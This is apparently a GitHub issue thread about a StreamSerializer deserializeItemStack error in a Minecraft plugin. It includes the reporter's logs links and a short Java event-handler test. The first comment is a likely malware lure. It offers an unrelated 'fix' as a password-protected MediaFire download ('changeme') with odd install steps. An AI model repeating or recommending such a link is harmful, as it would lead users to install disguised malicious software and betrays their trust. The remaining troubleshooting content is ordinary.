StreamSerializer deserializeItemStack throw error.
MikuSnow opened this issue ยท 3 comments
to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."
Can you please provide more details about your issue. (e.g. errors, a /protocol dump
file, logs, etc.)
Can you please provide more details about your issue. (e.g. errors, a
/protocol dump
file, logs, etc.)
The logs:
https://pastebin.com/xrJcjyn6
The dump:
https://pastebin.com/29hb6pGv
The test code:
@EventHandler
public void onPlayerJoin(@NotNull PlayerJoinEvent event) {
Player player = event.getPlayer();
for (@Nullable ItemStack storageContent : player.getInventory().getStorageContents()) {
System.out.println("#1");
try {
System.out.println("#2");
String s = StreamSerializer.getDefault().serializeItemStack(storageContent);
System.out.println("#3");
System.out.println(s);
} catch (IOException e) {
System.out.println("#4");
throw new RuntimeException(e);
}
}
}